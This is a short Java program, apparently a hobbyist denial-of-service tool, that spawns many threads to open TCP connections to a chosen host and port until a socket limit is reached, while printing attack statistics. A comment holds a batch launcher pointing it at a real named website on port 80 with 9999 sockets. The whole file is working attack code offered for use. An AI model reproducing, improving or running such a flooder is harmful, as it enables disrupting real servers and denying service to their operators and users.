import java.io.PrintStream;
import java.net.Socket;
public class Bot implements Runnable {
/*******
@echo off
title Denial of Service Bot
::Arguments - [String hostname] [int port] [int threadcount] [int sockcount]
java Bot rune-server.org 80 76 9999
pause
*******/
public static long startTime;
//
public static Bot[] BotThreads;
//
public static int attackPort;
public static String attackHost;
//
public static int maxSockets;
//
public static int badThreads;
public static int goodThreads;
//
public static boolean dead;
Socket sock;
public Bot() {
this.sock = null;
}
public static void main(String args[]) {
System.out.println("Denial of Service - Starting...");
startTime = System.currentTimeMillis();
if (args.length != 4) {
die("Syntax: <host> <port> <threads> <sockets>");
}
try {
System.out.println("[" + Integer.parseInt(args[3]) + " Sockets] [" + args[2] + " Threads] @ [" + args[0] + ":" + args[1] + "]");
goodThreads = 0;
badThreads = 0;
attackHost = args[0];
attackPort = Integer.parseInt(args[1]);
maxSockets = Integer.parseInt(args[3]);
BotThreads = new Bot[Integer.parseInt(args[2])];
for (int i = 0; i < Integer.parseInt(args[2]); i++) {
BotThreads[i] = new Bot();
new Thread(BotThreads[i]).start();
}
while(true) {
try {
Thread.sleep(1000);
} catch(Exception __ex) {
}
System.out.println("Bot Data: " + (goodThreads + badThreads) + " (" + goodThreads + " threads, " + badThreads + " null threads)");
}
} catch(Exception _ex) {
die("Startup Error.");
}
}
public void run() {
try {
while(this.goodThreads + this.badThreads <= this.maxSockets) {
synchronized(this) {
try {
sock = new Socket(this.attackHost, this.attackPort);
this.goodThreads++;
} catch(Exception _ex) {
this.badThreads++;
}
try {
Thread.sleep((int)(Math.random()*500));
} catch(Exception __ex) {
this.die("Run Error.");
}
}
}
synchronized(this) {
this.die("Sockets opened: " + (goodThreads + badThreads) + " (" + goodThreads + " Valid Threads, " + badThreads + " Null Threads)");
}
} catch(Exception _ex) {
this.die("Error initializing thread.");
}
}
public static void die(String str) {
dead = true;
for(int i = 0; i < BotThreads.length; i++) {
if (BotThreads[i] == null) continue;
BotThreads[i] = null;
}
System.out.println("\n" + str);
System.out.println("Total attack time: " + ((System.currentTimeMillis()-startTime)) + "ms");
System.exit(0);
}
}